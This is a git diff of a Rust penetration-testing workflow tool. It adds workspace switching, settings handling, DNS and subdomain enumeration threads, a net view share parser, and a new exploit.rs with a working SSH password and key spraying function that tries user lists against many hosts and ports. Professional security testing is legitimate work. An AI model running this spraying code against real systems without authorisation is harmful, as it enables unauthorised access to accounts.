"show active project" | "show active" | "sa" | "show a" => {println!("\nclient: {}\n\nproject: {}\n\nbox: {}\n\nproject files: {}\n\nproject notes: {}\n", active_project.customer ,active_project.project_name, active_project.boxname, active_project.files_folder.display(), active_project.notes_folder.display()); return None},
|
||||
"create new project" | "cnp" | "new project" | "np" => {new_id = new_id + 1; start_pentest::start_pentest(&config_path, &mut projects, new_id, upcoming_files, upcoming_notes, &boxtemplate, password_spray_file); return None},
|
||||
"create new project" | "cnp" | "new project" | "np" => {new_id = new_id + 1; start_pentest::start_pentest(&config_path, &mut projects, new_id, &upcoming_files, &upcoming_notes, &boxtemplate, &password_spray_file); return None},
|
||||
"save projects" | "sp" | "save" | "s" => {project_controls::save_projects(&projects, &config_path); return None},
|
||||
"import project" | "ip" | "import" => {new_id = new_id + 1; project_controls::new_project(&mut projects, &base_files, &base_notes, &tools_dir, &boxtemplate, &config_path, new_id, &upcoming_files, &upcoming_notes, fingerprint); return None},
|
||||
"remove project" | "rp" | "remove" | "rmp" => {project_controls::remove_project(&mut projects, &config_path); return None},
|
||||
"show upcoming projects" | "sup" | "show upcoming" => {project_controls::print_upcoming_projects(&projects); return None},
|
||||
"promote project" | "pp" | "promote" => {project_controls::promote_project(&mut projects, &config_path, base_files, base_notes, tools_dir, &boxtemplate, fingerprint); return None},
|
||||
"promote project" | "pp" | "promote" => {project_controls::promote_project(&mut projects, &config_path, &base_files, &base_notes, &tools_dir, &boxtemplate, fingerprint); return None},
|
||||
"new terminal" | "enter" | "enter terminal" | "nt" | "et" => {box_controls::project_standalone_terminal(active_project.clone(), terminal.clone()); return None},
|
||||
"inline terminal" | "it" | "enter inline" | "ei" => {box_controls::project_inline_terminal(active_project.clone()); return None},
|
||||
"cobalt strike" | "cs" => {let cs_thread = box_controls::launch_cobalt_strike(active_project.clone()); return cs_thread},
|
||||
@@ -227,7 +252,7 @@ pub fn run_command(cmd: String,
|
||||
"prune distroboxes" | "pdb" | "prune" => {let prune_thread = box_controls::clean_unused_boxes(&projects, &boxtemplate); return prune_thread},
|
||||
"parse normal nmap file" | "pnnf" | "parse nmap" | "pn" => {portscan_controls::parse_normal_nmap_output(&active_project); return None;},
|
||||
"show scope" | "ss" | "show s" | "s s" | "scope" => {let scope_res = info_controls::get_scope_entries(&active_project); if scope_res.is_some(){for host in scope_res.unwrap(){println!("{}", host)}}return None},
|
||||
"update git tools" | "ugt" | "update git" | "ug" => {tool_controls::update_git_tools(tools_dir); return None},
|
||||
"update git tools" | "ugt" | "update git" | "ug" => {tool_controls::update_git_tools(&tools_dir); return None},
|
||||
"port scan" | "ps" | "nmap" | "nmap scan" | "ns" | "nm" => {portscan_controls::run_nmap_portscan(&active_project); return None;},
|
||||
"port scan command" | "psc" | "nmap command" | "nmc" => {portscan_controls::build_nmap_command(&active_project); return None;}
|
||||
"sharpersist command" | "spc" | "sharp scheduled task" | "sst" => {victim_commands::sharp_persist_command(&tools_dir); return None;},
|
||||
@@ -237,6 +262,12 @@ pub fn run_command(cmd: String,
|
||||
"dns squatting scan" | "dnstwist" | "dss" => {let twist_handle = enumeration::dns_squatting(&active_project, None, true); return twist_handle},
|
||||
"print report information" | "pri" => {info_controls::print_report_information(&active_project); return None;},
|
||||
"modify tool config" | "mtc" => {configuration::generate_tool_config(&config_path); return None;},
|
||||
"separate work and personal projects" | "swpp" | "separate projects" | "seppro" => {project_controls::separate_personal_work_projects(&config_path); return None;}
|
||||
"switch to personal projects" | "switch personal" => {let mut project_load_res = project_controls::swith_to_personal(&config_path); if project_load_res.is_some(){projects.clear();for project in project_load_res.unwrap(){projects.push(project);}}; return None;},
|
||||
"switch to work projects" | "switch work" => {let mut project_load_res = project_controls::swith_to_work(&config_path); if project_load_res.is_some(){projects.clear();for project in project_load_res.unwrap(){projects.push(project);}}; return None;},
|
||||
"ssh spray" | "sshs" | "spray ssh" => {exploit::ssh_spray(None, None, None, get_user_input("spraying with an ssh key?").contains("y")); return None;},
|
||||
"show settings" | "print settings" | "shset" | "pset" => {configuration::print_settings(&settings); return None},
|
||||
"parse net view" | "pnv" => {info_controls::parse_net_view(&active_project); return None;},
|
||||
_ => {help(None); println!("\n\n unknown command."); return None;}
|
||||
}
|
||||
}
|
||||
@@ -245,26 +276,24 @@ fn print_banner(banner: &str){
|
||||
print!("{}", banner.custom_color((255,165,0)));
|
||||
}
|
||||
|
||||
pub fn cli(interactive: bool,
|
||||
mut projects: Vec<Project>,
|
||||
config_path: PathBuf,
|
||||
base_files: &PathBuf,
|
||||
base_notes: &PathBuf,
|
||||
tools_dir: &PathBuf,
|
||||
boxtemplate: String,
|
||||
terminal: String,
|
||||
cracking_rig: String,
|
||||
rockyou: String,
|
||||
rule: String,
|
||||
upcoming_files: &PathBuf,
|
||||
upcoming_notes: &PathBuf,
|
||||
password_spray_file: &PathBuf,
|
||||
fingerprint: bool,
|
||||
vault_name: String) {
|
||||
#[allow(unused)]
|
||||
pub fn cli(mut projects: &mut Vec<Project>, config_path: &PathBuf) {
|
||||
let mut threads = Vec::new();
|
||||
if interactive{
|
||||
let mut loopize = true;
|
||||
let banner = "
|
||||
let mut loopize = true;
|
||||
let mut work_loaded = true;
|
||||
let mut workspace_config_path = config_path.clone();
|
||||
let mut workspace_settings_path = config_path.clone();
|
||||
workspace_config_path.pop();
|
||||
workspace_settings_path.pop();
|
||||
let mut project_conf_path = config_path.clone();
|
||||
let mut success_message = String::new();
|
||||
project_conf_path.pop();
|
||||
project_conf_path.push("projects.work");
|
||||
let worksapces_in_use = project_conf_path.exists();
|
||||
if worksapces_in_use{
|
||||
work_loaded = get_user_input("is thie loading your work projects?").to_lowercase().contains("y");
|
||||
}
|
||||
let banner = "
|
||||
,,,;;::ccccc::;;;::c::;,;::cccccllc::::::;:::;;;;,,;,'',,;,,;;;;;;;:;;;;;,,,,,,,,,,,'''''',,,,,,''''
|
||||
,;;;::ccccc::::::ccc:;;;:ccccccclc::ccccccc::;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,,,,,,,,,'''''''''',,,,,''
|
||||
,;;:::ccc:cc:::ccc:::::::ccccclcccllccccllc::::::;;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,''''''''...'',,,,'
|
||||
@@ -312,16 +341,17 @@ pub fn cli(interactive: bool,
|
||||
|
||||
|
||||
";
|
||||
print_banner(banner);
|
||||
while loopize{
|
||||
project_controls::save_projects(&projects, &config_path);
|
||||
let active_project_res = get_active_project(&projects);
|
||||
if active_project_res.is_none(){
|
||||
println!("{}", "failed to get active project!".red());
|
||||
return;
|
||||
}
|
||||
let active_project = active_project_res.unwrap();
|
||||
let current_information = format!("
|
||||
print_banner(banner);
|
||||
while loopize{
|
||||
let settings = configuration::load_config(config_path);
|
||||
project_controls::save_projects(&projects, &config_path);
|
||||
let active_project_res = get_active_project(&projects);
|
||||
if active_project_res.is_none(){
|
||||
println!("{}", "failed to get active project!".red());
|
||||
return;
|
||||
}
|
||||
let active_project = active_project_res.unwrap();
|
||||
let current_information = format!("
|
||||
Active Project: {}, {}
|
||||
Project Status: {}
|
||||
Files Folder: {}
|
||||
@@ -333,22 +363,78 @@ for help enter help or ?. for information about a specific command enter help (c
|
||||
|
||||
|
||||
", active_project.customer.green(), active_project.project_name.green(), active_project.stage.green(), active_project.files_folder.display().to_string().green(), active_project.notes_folder.display().to_string().green(), active_project.boxname.green(), "coming soon".red());
|
||||
let prompt = format!("\n{}:{}\nCommand?", active_project.customer.green(), active_project.project_name.green());
|
||||
let command = get_user_input(&prompt);
|
||||
match command.as_str(){
|
||||
"exit" => loopize = false,
|
||||
"menu" | "main menu" | "mm" => {let menu_thread_option = menu::main_menu(&mut projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.clone(), cracking_rig.clone(), rockyou.clone(), rule.clone(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.clone()); if menu_thread_option.is_some(){for thread in menu_thread_option.unwrap(){threads.push(thread);}}},
|
||||
"print banner" | "banner" => print_banner(banner),
|
||||
"clear" | "clear screen" | "cls" => {clear().unwrap(); print_banner(banner);},
|
||||
"list threads" | "threads" | "lst" => println!("There are {} threads still running.", threads.len()),
|
||||
"info" => println!("{}", current_information),
|
||||
_ => {let thread_option = run_command(command, &mut projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.clone(), cracking_rig.clone(), rockyou.clone(), rule.clone(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.clone()); if thread_option.is_some(){threads.push(thread_option.unwrap())}},
|
||||
load_config(config_path);
|
||||
|
||||
let prompt = format!("\n{}:{}\nCommand?", active_project.customer.custom_color((255,165,0)), active_project.project_name.custom_color((255,165,0)));
|
||||
let command = get_user_input(&prompt);
|
||||
if command.contains("switch work") || command.contains("switch to work projects"){
|
||||
work_loaded = true;
|
||||
}
|
||||
else if command.contains("switch personal") || command.contains("switch to personal projects"){
|
||||
work_loaded = false;
|
||||
}
|
||||
match command.as_str(){
|
||||
"exit" => loopize = false,
|
||||
"menu" | "main menu" | "mm" => {let menu_thread_option = menu::main_menu(&mut projects, config_path.clone(), &settings);},
|
||||
"print banner" | "banner" => print_banner(banner),
|
||||
"clear" | "clear screen" | "cls" => {clear().unwrap(); print_banner(banner);},
|
||||
"list threads" | "threads" | "lst" => println!("There are {} threads still running.", threads.len()),
|
||||
"info" => println!("{}", current_information),
|
||||
"test_table" => {let mut lines = Vec::new(); lines.push("column1||column2||column3||column4".to_owned()); lines.push("thing1||thing2||thing3||thing4".to_owned()); lines.push("ttttttttttttttttthing5||thing6||thing7||thing8".to_owned()); tableize(lines);}
|
||||
_ => {let thread_option = run_command(command, &settings, config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||
}
|
||||
}
|
||||
project_controls::save_projects(&projects, &config_path);
|
||||
if get_user_input("do you want to stop all the boxes?").contains("y"){
|
||||
box_controls::stop_all_boxes(&projects);
|
||||
}
|
||||
print_informational("saving workspace projects...");
|
||||
let worksapces_in_use = project_conf_path.exists();
|
||||
if worksapces_in_use{
|
||||
if work_loaded{
|
||||
print_informational("saving projects.work");
|
||||
workspace_config_path.push("projects.work");
|
||||
workspace_settings_path.push("conf.working");
|
||||
success_message = String::from("projects.conf saved to projects.work\nconf saved to conf.working");
|
||||
}
|
||||
else{
|
||||
print_informational("saving projects.personal");
|
||||
workspace_config_path.push("projects.personal");
|
||||
workspace_settings_path.push("conf.personal");
|
||||
success_message = String::from("projects.conf saved to projects.personal\nconf saved to conf.personal");
|
||||
}
|
||||
let open_res = OpenOptions::new().create(true).write(true).open(workspace_config_path);
|
||||
if open_res.is_err(){
|
||||
print_error("error opeing workspace config file!", open_res.err().unwrap().to_string());
|
||||
}
|
||||
else{
|
||||
project_conf_path.pop();
|
||||
project_conf_path.push("projects.conf");
|
||||
let mut workspace_config_file = open_res.unwrap();
|
||||
let projects_read_res = read_to_string(project_conf_path);
|
||||
if projects_read_res.is_ok(){
|
||||
let project_string = projects_read_res.unwrap();
|
||||
let write_res = write!(workspace_config_file, "{}", project_string);
|
||||
if write_res.is_err(){
|
||||
print_error("error writing workspace config file!", write_res.err().unwrap().to_string());
|
||||
}
|
||||
}
|
||||
else{
|
||||
print_error("error reading projects config file!", projects_read_res.err().unwrap().to_string());
|
||||
}
|
||||
}
|
||||
project_controls::save_projects(&projects, &config_path);
|
||||
if get_user_input("do you want to stop all the boxes?").contains("y"){
|
||||
box_controls::stop_all_boxes(&projects);
|
||||
let remove_res = fs::remove_file(&workspace_settings_path);
|
||||
if remove_res.is_err(){
|
||||
print_error("error removing to save over workspace settings!", remove_res.err().unwrap().to_string());
|
||||
}
|
||||
else{
|
||||
remove_res.unwrap();
|
||||
let copy_res = fs::copy(config_path, &workspace_settings_path);
|
||||
if copy_res.is_err(){
|
||||
print_error("error copying worksapce settings!", copy_res.err().unwrap().to_string());
|
||||
}
|
||||
}
|
||||
print_success(success_message);
|
||||
}
|
||||
if threads.len() > 0{
|
||||
println!("closing threads...");
|
||||
@@ -358,4 +444,10 @@ for help enter help or ?. for information about a specific command enter help (c
|
||||
let _ = thread.join();
|
||||
}
|
||||
}
|
||||
if worksapces_in_use{
|
||||
print_success("projects saved to projects.conf, workspace projects updated, workspace settings saved, threads finished. pentest_tool OUT!");
|
||||
}
|
||||
else{
|
||||
print_success("projects saved to projects.conf, threads finished. pentest_tool OUT!");
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,8 @@
|
||||
use std::path::PathBuf;
|
||||
use std::{collections::HashMap, path::PathBuf};
|
||||
use std::fs::read_to_string;
|
||||
use std::io::Write;
|
||||
use colored::Colorize;
|
||||
use crate::{get_user_input, open_overwrite};
|
||||
use crate::{get_user_input, open_overwrite, tableize};
|
||||
|
||||
|
||||
|
||||
@@ -147,3 +147,42 @@ vault_name:{}
|
||||
write_res.unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub fn load_config(config: &PathBuf) -> HashMap<&'static str, String>{
|
||||
let mut settings_map = HashMap::new();
|
||||
let settings_string = read_to_string(&config).expect("error reading config file");
|
||||
let settings: Vec<&str> = settings_string.split("\n").collect();
|
||||
for line in settings{
|
||||
if line.len() > 1{
|
||||
let setting_vec: Vec<&str> = line.split(":").collect();
|
||||
match setting_vec[0]{
|
||||
"Project_files" => {settings_map.insert("project_files", setting_vec[1].trim_end().to_owned());},
|
||||
"Project_notes" => {settings_map.insert("project_notes", setting_vec[1].trim_end().to_owned());},
|
||||
"tools_folder" => {settings_map.insert("tools_folder",setting_vec[1].trim_end().to_owned());},
|
||||
"upcoming_files" => {settings_map.insert("upcoming_files",setting_vec[1].trim_end().to_owned());},
|
||||
"upcoming_notes" => {settings_map.insert("upcoming_notes",setting_vec[1].trim_end().to_owned());},
|
||||
"box_template" => {settings_map.insert("box_template", setting_vec[1].trim_end().to_owned());},
|
||||
"terminal" => {settings_map.insert("terminal_command", setting_vec[1].trim_end().to_owned());},
|
||||
"cracking_rig" => {settings_map.insert("cracking_rig", setting_vec[1].trim_end().to_owned());},
|
||||
"rockyou_location" => {settings_map.insert("rockyou", setting_vec[1].trim_end().to_owned());},
|
||||
"rule_location" => {settings_map.insert("rule", setting_vec[1].trim_end().to_owned());},
|
||||
"pass_file"=> {settings_map.insert("pass_spray_file", setting_vec[1].trim_end().to_owned());},
|
||||
"fingerprint" => {settings_map.insert("fingerprint", setting_vec[1].trim_end().to_owned());},
|
||||
"vault_name" => {settings_map.insert("vault_name", setting_vec[1].trim_end().to_owned());},
|
||||
_ => println!("error unknown setting: {}", setting_vec[0])
|
||||
}
|
||||
}
|
||||
}
|
||||
return settings_map;
|
||||
}
|
||||
|
||||
pub fn print_settings(settings: &HashMap<&str, String>){
|
||||
let mut lines = Vec::new();
|
||||
lines.push(String::from("Settings||value"));
|
||||
for setting in settings.keys(){
|
||||
let new_line = format!("{}||{}", setting, settings[setting]);
|
||||
lines.push(new_line);
|
||||
}
|
||||
tableize(lines);
|
||||
}
|
||||
@@ -9,6 +9,9 @@ use dns_lookup::lookup_host;
|
||||
use crate::get_user_input;
|
||||
use crate::Project;
|
||||
use crate::open_append;
|
||||
use crate::print_error;
|
||||
use crate::print_success;
|
||||
use crate::print_informational;
|
||||
|
||||
#[allow(unused)]
|
||||
pub fn run_dns_enumeration(project: &Project, given_domains: Option<&Vec<String>>, standalone: bool) -> Option<JoinHandle<()>>{
|
||||
@@ -66,6 +69,7 @@ pub fn run_dns_enumeration(project: &Project, given_domains: Option<&Vec<String>
|
||||
println!("{}", error.to_string().red());
|
||||
return;
|
||||
}
|
||||
print_success("DNS Enumeration Done, Writing to file...");
|
||||
let output_string = output_string_res.unwrap();
|
||||
let lines: Vec<&str> = output_string.split("\n").collect();
|
||||
let mut out_data = String::new();
|
||||
@@ -110,8 +114,8 @@ pub fn run_dns_enumeration(project: &Project, given_domains: Option<&Vec<String>
|
||||
if standalone{
|
||||
out_data.push_str("\n---\n");
|
||||
}
|
||||
println!("From DNS Enumeration Thread: Finished gathering data for {} writing to notes...", domain);
|
||||
write!(enumeration_file, "{}", &out_data).unwrap();
|
||||
print_success("DNS Records: Gathered | Notes: Written | DNS Record Thread OUT!");
|
||||
let remove_res = remove_file("dns_temp.csv");
|
||||
if remove_res.is_err(){
|
||||
println!("From DNS Enumeration Thread: error removing temporay data file!");
|
||||
@@ -129,8 +133,7 @@ pub fn bruteforce_subs(project: &Project, given_domains: Option<&Vec<String>>, g
|
||||
let enumeration_file_res = OpenOptions::new().append(true).create(true).open(enumeration_path);
|
||||
if enumeration_file_res.is_err(){
|
||||
let error = enumeration_file_res.err().unwrap();
|
||||
println!("{}","error opening enumeration notes file!".red());
|
||||
println!("{}", error.to_string().red());
|
||||
print_error("FROM GOBUSTER THREAD: error opening enumeration notes file!", error.to_string());
|
||||
return None;
|
||||
}
|
||||
let mut enumeration_file = enumeration_file_res.unwrap();
|
||||
@@ -187,13 +190,41 @@ pub fn bruteforce_subs(project: &Project, given_domains: Option<&Vec<String>>, g
|
||||
println!("{}", error.to_string().red());
|
||||
return;
|
||||
}
|
||||
println!("sleeping for 10 seconds to allow for sudo password input.");
|
||||
print_informational("sleeping for 10 seconds to allow for sudo password input.");
|
||||
sleep(Duration::from_secs(10));
|
||||
let gobuser_output = gobuster_cmd_res.unwrap().stdout;
|
||||
println!("From Gobuster Thread: Sudomain enumeration Done!");
|
||||
let gobuster_string = String::from_utf8_lossy(&gobuser_output);
|
||||
let mut final_string = String::new();
|
||||
if gobuster_string.contains("specify the '--wildcard' switch"){
|
||||
let gobuster_cmd_res = Command::new("distrobox")
|
||||
.arg("enter")
|
||||
.arg("--root")
|
||||
.arg(working_project.boxname.to_owned())
|
||||
.arg("--")
|
||||
.arg("gobuster")
|
||||
.arg("dns")
|
||||
.arg("-d")
|
||||
.arg(&domain)
|
||||
.arg("-w")
|
||||
.arg(wordlist.to_owned())
|
||||
.arg("--wildcard")
|
||||
.output();
|
||||
if gobuster_cmd_res.is_err(){
|
||||
let error = gobuster_cmd_res.err().unwrap();
|
||||
println!("{}","From gobuster thread: Error running gobuster command!".red());
|
||||
println!("{}", error.to_string().red());
|
||||
return;
|
||||
}
|
||||
let new_gobuser_output = gobuster_cmd_res.unwrap().stdout;
|
||||
let new_gobuser_string = String::from_utf8_lossy(&new_gobuser_output);
|
||||
final_string = new_gobuser_string.to_string();
|
||||
}
|
||||
else{
|
||||
final_string = gobuster_string.to_string();
|
||||
}
|
||||
print_success("Gobuster enumeration Done!");
|
||||
let mut domain_names = Vec::new();
|
||||
let lines: Vec<&str> = gobuster_string.split("\n").collect();
|
||||
let lines: Vec<&str> = final_string.split("\n").collect();
|
||||
for line in lines{
|
||||
if line.contains("Found:"){
|
||||
let domain = line.split_whitespace().collect::<Vec<&str>>()[1];
|
||||
@@ -224,6 +255,7 @@ pub fn bruteforce_subs(project: &Project, given_domains: Option<&Vec<String>>, g
|
||||
return;
|
||||
}
|
||||
write_res.unwrap();
|
||||
print_success("Subdomains: Bruteforced | Enumeration notes: Written | Gobuster thread out!");
|
||||
});
|
||||
return Some(gobuster_thread);
|
||||
}
|
||||
@@ -285,7 +317,7 @@ pub fn dns_squatting(project: &Project, given_domains: Option<&Vec<String>>, sta
|
||||
println!("{}", error.to_string().red());
|
||||
return;
|
||||
}
|
||||
println!("sleeping for 10 seconds to allow for sudo password input.");
|
||||
print_informational("sleeping for 10 seconds to get sudo password.");
|
||||
sleep(Duration::from_secs(10));
|
||||
let twist_output_vec = twist_output.unwrap().stdout;
|
||||
let output_string = String::from_utf8_lossy(&twist_output_vec);
|
||||
@@ -301,6 +333,7 @@ pub fn dns_squatting(project: &Project, given_domains: Option<&Vec<String>>, sta
|
||||
}
|
||||
}
|
||||
});
|
||||
print_success("Domains: Squatted | Notes: Written | DNSTwist thread OUT!");
|
||||
return Some(squatting_thread);
|
||||
}
|
||||
|
||||
@@ -326,6 +359,7 @@ pub fn do_all_dns_enumeration(project: &Project) -> Option<JoinHandle<()>>{
|
||||
}
|
||||
}
|
||||
let wordlist = get_user_input("path to wordlist for sub domain bruteforcing?");
|
||||
print_informational("target data gathered. Spawning threads to do enumeration...");
|
||||
let working_project = project.clone();
|
||||
let all_dns_handle = spawn(move ||{
|
||||
let mut write_success = true;
|
||||
@@ -357,6 +391,7 @@ pub fn do_all_dns_enumeration(project: &Project) -> Option<JoinHandle<()>>{
|
||||
}
|
||||
write!(enumeration_file, "\n---\n").unwrap();
|
||||
}
|
||||
print_success("All DNS Enum threads finished, notes have been written. DNS Enumeration Thread OUT!");
|
||||
}
|
||||
});
|
||||
return Some(all_dns_handle);
|
||||
|
||||
177
pentest_tool/src/exploit.rs
Normal file
177
pentest_tool/src/exploit.rs
Normal file
@@ -0,0 +1,177 @@
|
||||
use std::fs::read_to_string;
|
||||
use std::path::PathBuf;
|
||||
use ssh;
|
||||
use crate::Project;
|
||||
use crate::print_error;
|
||||
use crate::print_success;
|
||||
use crate::print_informational;
|
||||
use crate::get_user_input;
|
||||
|
||||
pub fn ssh_spray(user_path: Option<&PathBuf>,
|
||||
target_path: Option<&PathBuf>,
|
||||
given_data: Option<String>,
|
||||
key: bool)
|
||||
-> Option<String>{
|
||||
let mut display = true;
|
||||
//if given_data.is_some(){
|
||||
// display = false;
|
||||
// }
|
||||
let mut return_data = String::new();
|
||||
let mut targets = Vec::new();
|
||||
let mut users = Vec::new();
|
||||
let mut ports = Vec::new();
|
||||
let mut spray_data = String::new();
|
||||
let mut success = Vec::new();
|
||||
print_informational("getting paths to data files...");
|
||||
match display{
|
||||
true => {
|
||||
print_informational("getting paths to data files...");
|
||||
let users_read_res = read_to_string(get_user_input("path to the username file?"));
|
||||
let target_read_res = read_to_string(get_user_input("path to targets file?"));
|
||||
if users_read_res.is_err(){
|
||||
print_error("error reading users file!", users_read_res.err().unwrap().to_string());
|
||||
return None;
|
||||
}
|
||||
let users_string = users_read_res.unwrap();
|
||||
if target_read_res.is_err(){
|
||||
print_error("error reading target file!", target_read_res.err().unwrap().to_string());
|
||||
return None;
|
||||
}
|
||||
let target_string = target_read_res.unwrap();
|
||||
let temp_users: Vec<&str> = users_string.split("\n").collect();
|
||||
let temp_targets: Vec<&str> = target_string.split("\n").collect();
|
||||
for user in temp_users{
|
||||
users.push(String::from(user));
|
||||
print_informational(format!("{} loaded!", user));
|
||||
}
|
||||
print_informational("the default ports to try are 22 and 2222.");
|
||||
if get_user_input("continue with the defaults?").contains("y"){
|
||||
ports.push(String::from("22"));
|
||||
ports.push(String::from("2222"));
|
||||
}
|
||||
else{
|
||||
loop{
|
||||
let new_port = get_user_input("new port to add? enter END in all caps when done.");
|
||||
if new_port.contains("END"){
|
||||
break;
|
||||
}
|
||||
else{
|
||||
ports.push(new_port);
|
||||
}
|
||||
}
|
||||
}
|
||||
for target in temp_targets{
|
||||
for port in &ports{
|
||||
let new_target = format!("{}:{}", target, port);
|
||||
targets.push(String::from(new_target));
|
||||
}
|
||||
}
|
||||
if key{
|
||||
spray_data = get_user_input("path to key file?");
|
||||
}
|
||||
else {
|
||||
spray_data = get_user_input("password to spray?");
|
||||
}
|
||||
}
|
||||
false => {
|
||||
if user_path.is_none(){
|
||||
return_data.push_str("\nno username file provided!\nExiting...");
|
||||
return Some(return_data);
|
||||
}
|
||||
if target_path.is_none(){
|
||||
return_data.push_str("\nno target file provided!\nExiting...");
|
||||
return Some(return_data);
|
||||
}
|
||||
if given_data.is_none(){
|
||||
return_data.push_str("\nno password or key file provided!\nexiting...");
|
||||
return Some(return_data);
|
||||
}
|
||||
let users_read_res = read_to_string(user_path.unwrap());
|
||||
let target_read_res = read_to_string(target_path.unwrap());
|
||||
spray_data = given_data.unwrap();
|
||||
if users_read_res.is_err(){
|
||||
return_data.push_str("\nerror reading user file!\nExiting...");
|
||||
return Some(return_data);
|
||||
}
|
||||
if target_read_res.is_err(){
|
||||
return_data.push_str("\nerror reading target file!\nExiting...");
|
||||
return Some(return_data);
|
||||
}
|
||||
let users_string = users_read_res.unwrap();
|
||||
let targets_string = target_read_res.unwrap();
|
||||
let temp_users: Vec<&str> = users_string.split("\n").collect();
|
||||
let temp_targets: Vec<&str> = targets_string.split("\n").collect();
|
||||
for user in temp_users{
|
||||
users.push(String::from(user));
|
||||
}
|
||||
for target in temp_targets{
|
||||
targets.push(String::from(target));
|
||||
}
|
||||
}
|
||||
}
|
||||
if display{
|
||||
print_informational("spraying useers...");
|
||||
}
|
||||
match key{
|
||||
true => {
|
||||
for target in targets{
|
||||
for user in &users{
|
||||
let session_res = ssh::create_session().username(user.as_str()).private_key_path(&spray_data).connect(&target);
|
||||
if session_res.is_err(){
|
||||
let error_text = format!("Error opening ssh session for {} on {}", user, target);
|
||||
if display{
|
||||
print_error(&error_text, format!("{}",session_res.err().unwrap()));
|
||||
}
|
||||
else{
|
||||
return_data.push_str(format!("\n{}", error_text).as_str());
|
||||
}
|
||||
break;
|
||||
}
|
||||
let session = session_res.unwrap();
|
||||
let out_string = format!("{}@{}", user, target);
|
||||
success.push(out_string.clone());
|
||||
if display{
|
||||
print_success(out_string);
|
||||
}
|
||||
session.close();
|
||||
}
|
||||
}
|
||||
},
|
||||
false => {
|
||||
for target in targets{
|
||||
for user in &users{
|
||||
let information_text = format!("testing {} on {}", user, target);
|
||||
print_informational(information_text);
|
||||
let session_res = ssh::create_session().username(user.as_str()).password(&spray_data).connect(&target);
|
||||
if session_res.is_err(){
|
||||
let error_text = format!("Error opening ssh session for {} on {}", user, target);
|
||||
if display{
|
||||
print_error(&error_text, format!("{}",session_res.err().unwrap()));
|
||||
}
|
||||
else{
|
||||
return_data.push_str(format!("\n{}", error_text).as_str());
|
||||
}
|
||||
}
|
||||
else{
|
||||
let session = session_res.unwrap();
|
||||
let out_string = format!("{}@{}", user, target);
|
||||
success.push(out_string.clone());
|
||||
if display{
|
||||
print_success(out_string);
|
||||
}
|
||||
session.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
let return_data = success.join("\n");
|
||||
if display{
|
||||
println!("these are the successful sprays!");
|
||||
print_success(return_data);
|
||||
return None;
|
||||
}
|
||||
else{
|
||||
return Some(return_data);
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
use std::collections::HashMap;
|
||||
use std::fmt::write;
|
||||
use std::fs;
|
||||
use std::fs::read_to_string;
|
||||
use std::fs::OpenOptions;
|
||||
@@ -14,6 +15,10 @@ use clearscreen::clear;
|
||||
use clearscreen;
|
||||
use rodio::{Decoder, OutputStream, Sink};
|
||||
use crate::get_user_input;
|
||||
use crate::open_append;
|
||||
use crate::print_error;
|
||||
use crate::print_informational;
|
||||
use crate::print_success;
|
||||
use crate::Project;
|
||||
|
||||
#[allow(unused)]
|
||||
@@ -928,4 +933,51 @@ pub fn get_scope_entries(project: &Project) -> Option<Vec<String>>{
|
||||
return Some(hosts);
|
||||
}
|
||||
|
||||
pub fn parse_net_view(project: &Project){
|
||||
let mut share_paths = Vec::new();
|
||||
let mut note_path = project.notes_folder.clone();
|
||||
let netview_output_path = PathBuf::from(get_user_input("path to the net view output file"));
|
||||
let netview_read_res = read_to_string(netview_output_path);
|
||||
if netview_read_res.is_err(){
|
||||
print_error("error reading netview output file!", netview_read_res.err().unwrap().to_string());
|
||||
return;
|
||||
}
|
||||
let netview_text = netview_read_res.unwrap();
|
||||
let netview_sections: Vec<&str> = netview_text.split("shared resources at ").collect();
|
||||
for section in netview_sections{
|
||||
let mut server = String::new();
|
||||
let lines: Vec<&str> = section.lines().collect();
|
||||
for line in lines{
|
||||
if line.contains("\\\\"){
|
||||
let server_name = line.split_whitespace().collect::<Vec<&str>>()[3];
|
||||
server = String::from(server_name.trim());
|
||||
}
|
||||
else if line.contains("Disk"){
|
||||
let share_name = line.split_whitespace().collect::<Vec<&str>>()[0];
|
||||
let share_path = format!("{}\\{}", server, share_name);
|
||||
share_paths.push(share_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
print_success("data gathered!");
|
||||
print_informational("writing notes");
|
||||
note_path.push("initial enum.md");
|
||||
let open_res = open_append(¬e_path);
|
||||
if open_res.is_none(){
|
||||
print_error("error opening enum notes!", String::from("can't open file"));
|
||||
return;
|
||||
}
|
||||
let mut note_file = open_res.unwrap();
|
||||
let write_res = write!(note_file, "\n\n# Shares\n");
|
||||
if write_res.is_err(){
|
||||
print_error("error writing to note file!", write_res.err().unwrap().to_string());
|
||||
return;
|
||||
}
|
||||
write_res.unwrap();
|
||||
for share_path in share_paths{
|
||||
write!(note_file, "- [ ] {}\n\n", share_path).unwrap();
|
||||
}
|
||||
print_success("shares parsed, and saved to initial enum in your obsidian vault!");
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
use std::collections::HashMap;
|
||||
use std::fs::{File, create_dir_all, remove_dir_all};
|
||||
use std::fs::{create_dir_all, remove_dir_all, File};
|
||||
use std::io::Read;
|
||||
use std::io::Write;
|
||||
use std::env;
|
||||
use std::io::copy;
|
||||
use std::process::Command;
|
||||
use std::time::Duration;
|
||||
@@ -11,7 +12,7 @@ use std::thread;
|
||||
use std::process::exit;
|
||||
use colored::Colorize;
|
||||
|
||||
use crate::get_user_input;
|
||||
use crate::{get_user_input, print_informational, print_success};
|
||||
|
||||
#[allow(unused)]
|
||||
pub fn install(config_path: &PathBuf){
|
||||
@@ -221,7 +222,7 @@ vault_name:{}"
|
||||
exit(1);
|
||||
}
|
||||
let mut project_conf_file = project_conf_res.unwrap();
|
||||
let project_write_res = write!(project_conf_file, "customer:name:notes:files:active:time:box_name:stage\ndefault:default:{}:{}:yes:{}:current", ¤t_notes.display(), ¤t_projects.display(), &template_box_name);
|
||||
